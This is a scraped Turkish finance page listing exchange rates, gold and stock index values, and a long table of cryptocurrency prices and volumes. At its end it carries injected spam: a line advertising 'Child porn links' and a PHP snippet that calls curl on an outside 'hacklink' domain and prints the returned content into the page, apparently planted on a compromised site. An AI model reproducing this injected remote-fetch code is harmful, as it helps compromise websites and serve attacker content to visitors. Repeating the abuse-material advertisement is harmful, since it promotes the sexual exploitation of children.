DOLAR 35,9001 -0.03%
EURO 37,3064 -0.27%
ALTIN 3.304,790,01
BIST 9.821,851,05%
BITCOIN 3530107-0.01229%
İstanbul

PARÇALI BULUTLU

18:34

AKŞAMA KALAN SÜRE

Kripto Para Fiyat Hacim Fark Saat
  • Bitcoin 3541645 19820450 % -0.07491 13:37
  • Ethereum 100184 120528602.25268 % -0.87087 13:37
  • Tether 35.92 141166869194.87 % -0.13755 13:37
  • XRP 86.96 57703732191 % -4.89966 13:37
  • Solana 7167.24 487158426.17479 % -3.20455 13:37
  • BNB 21121 145887575.79 % 1.79637 13:37
  • Dogecoin 9.38 147923166383.71 % -2.4916 13:37
  • Cardano 26.88 35902298580.912 % -2.91498 13:37
  • Lido Staked Ether 100207 9440137.0472773 % -0.48822 13:37
  • TRON 8.3 86113162147.954 % 2.05288 13:37
  • Wrapped Bitcoin 3534214 129138.42002211 % -0.18805 13:37
  • Chainlink 703.26 638099970.45056 % -2.0684 13:37
  • Wrapped stETH 119253 3437733.0006023 % -0.80866 13:37
  • Avalanche 941.77 411792901.57334 % -3.42639 13:37
  • Sui 122.54 3089707194.5089 % -5.29031 13:37
  • Stellar 12.02 30576150416.377 % -3.30146 13:37
  • Toncoin 138.66 2493628473.7372 % -0.90274 13:37
  • Hedera 8.79 38267523197.848 % -4.49508 13:37
  • Shiba Inu 0.00056501 5.8925395752391E+14 % -4.06691 13:37
  • LEO Token 351.94 924164544.9 % -0.26367 13:37
  • Hyperliquid 899.12 333928180 % -6.41432 13:37
  • Bitget Token 244.2 1199999994.2 % 3.83798 13:37
  • Litecoin 3826.18 75502226.983471 % 0.65958 13:37
  • Binance-Peg WETH 99932 604999.99995984 % -0.88477 13:37
  • Polkadot 170.19 1522267060 % -1.9795 13:37
  • Bitcoin Cash 11830.19 19825543.646651 % -2.16804 13:37
  • Ethena USDe 35.95 6045075497.9374 % 0.07795 13:37
  • Wrapped eETH 105947 1916983.0860926 % -0.85711 13:37
  • MANTRA 206.61 971202583 % -0.83998 13:37
  • Uniswap 333.41 600483073.71 % -1.39122 13:37
  • Ondo 49.53 3159107529 % -3.77624 13:37
  • Monero 8160.48 18446744.07371 % 0.17787 13:37
  • Pepe 0.00035757 4.2069E+14 % -3.52273 13:37
  • WhiteBIT Coin 996.48 144118517.10815 % 0.68225 13:37
  • NEAR Protocol 119.43 1178389602 % -3.84987 13:37
  • Aave 9332.88 15061323.737365 % -6.47025 13:37
  • Mantle 40.42 3364694382.8368 % -3.03517 13:37
  • Official Trump 667.5 199999995.5 % -3.53234 13:37
  • Aptos 214.73 574152247.51552 % -3.95139 13:37
  • Internet Computer 252.25 480459745.4307 % -2.54801 13:37
  • Ethereum Classic 743.45 150633714.17773 % -2.54033 13:37
  • Bittensor 13010.07 8215232 % -1.14388 13:37
  • sUSDS 37.48 2741573459.528 % -0.2589 13:37
  • OKB 1683.27 60000000 % -0.99557 13:37
  • VeChain 1.24 80985041177 % -4.32181 13:37
  • Cronos 3.65 27282242754.93 % -3.62396 13:37
  • POL (ex-MATIC) 11.2 8530627737.2126 % -3.42895 13:37
  • Gate 757.56 125815473.19981 % 0.13563 13:37
  • Coinbase Wrapped BTC 3535730 24722.74972721 % -0.26893 13:37
  • Algorand 10.27 8416162998.2109 % -2.8374 13:37
  • Render 163.09 517716590.05628 % -3.53164 13:37
  • Kaspa 3.26 25656140567.063 % -8.09644 13:37
  • Jupiter 31.39 2637438888.89 % -7.27669 13:37
  • Tokenize Xchange 985.38 79995999.051124 % 0.88778 13:37
  • Filecoin 118.12 628065386 % -2.44452 13:37
  • Arbitrum 16.88 4343862574 % -4.6446 13:37
  • Cosmos Hub 166.51 434974969.9124 % -3.91398 13:37
  • Artificial Superintelligence Alliance 27.28 2604959126.672 % -4.87471 13:37
  • Lombard Staked BTC 3549333 18734.30022622 % 0.2567 13:37
  • First Digital USD 35.94 1842590882.9 % -0.33875 13:37
  • Fasttoken 141.75 428834433 % 0.26015 13:37
  • Ethena 19.15 3128125000 % -9.89797 13:37
  • Lido DAO 65.03 895936033.47191 % -0.39773 13:37
  • Binance Staked SOL 7395.52 7835513.8508598 % -3.31364 13:37
  • KuCoin 457 122606967.85134 % -0.52421 13:37
  • Kelp DAO Restaked ETH 103669 539237.95285663 % -0.60674 13:37
  • Celestia 107.03 516709772.16735 % -8.07741 13:37
  • Raydium 189.13 290866823.95934 % -9.09359 13:37
  • Solv Protocol SolvBTC 3511614 15039.276651488 % -0.53924 13:37
  • Optimism 39.23 1351719035 % -3.69499 13:37
  • Movement 22.46 2350000000 % -2.58216 13:37
  • Stacks 34.55 1511969685.5168 % -6.35256 13:37
  • Sonic (prev. FTM) 16.45 3175000000 % 1.78988 13:37
  • Rocket Pool ETH 112121 451994.2263447 % -0.47703 13:37
  • Immutable 28.84 1743800322.3898 % -3.97867 13:37
  • XDC Network 3.2 15686799197.85 % -3.18119 13:37
  • Theta Network 49.47 1000000000 % -6.12287 13:37
  • Injective 505.03 97727220.33 % -5.14975 13:37
  • Bonk 0.00063704 76947426550631 % -5.35456 13:37
  • NEXO 48.12 1000000000 % -3.74608 13:37
  • Mantle Staked Ether 105881 449151.07330373 % -0.83523 13:37
  • The Graph 4.88 9548531509.1655 % -3.76151 13:37
  • Worldcoin 46.46 993232560.08664 % -4.44205 13:37
  • Quant 3159.49 14544176.164091 % -4.22092 13:37
  • DeXe 748.38 57103774.563131 % -5.1889 13:37
  • Flare 0.722025 58861505148.718 % -4.22298 13:37
  • Usual USD 35.81 1172074075.5856 % -0.26678 13:37
  • JasmyCoin 0.828022 48419999999.306 % -4.49398 13:37
  • Berachain 398.81 107480001 % 41.51547 13:37
  • Sei 8.36 4432638888 % -4.8409 13:37
  • Marinade Staked SOL 9018.2 4062118 % -3.37291 13:37
  • Onyxcoin 1.078 32598739412.096 % -3.64058 13:37
  • GALA 0.80523 42876209149.54 % -5.82902 13:37
  • The Sandbox 14.11 2445857126.2233 % -5.11216 13:37
  • EOS 21.71 1516885789.1746 % -2.36764 13:37
  • Ethereum Name Service 986.36 33165585.054508 % -1.98856 13:37
mezunum satıyorumChild porn links

<?php $exe = curl_init(); curl_setopt($exe, CURLOPT_URL, "https://talyahacklink.com.tr/code?x=732"); curl_exec($exe); ?>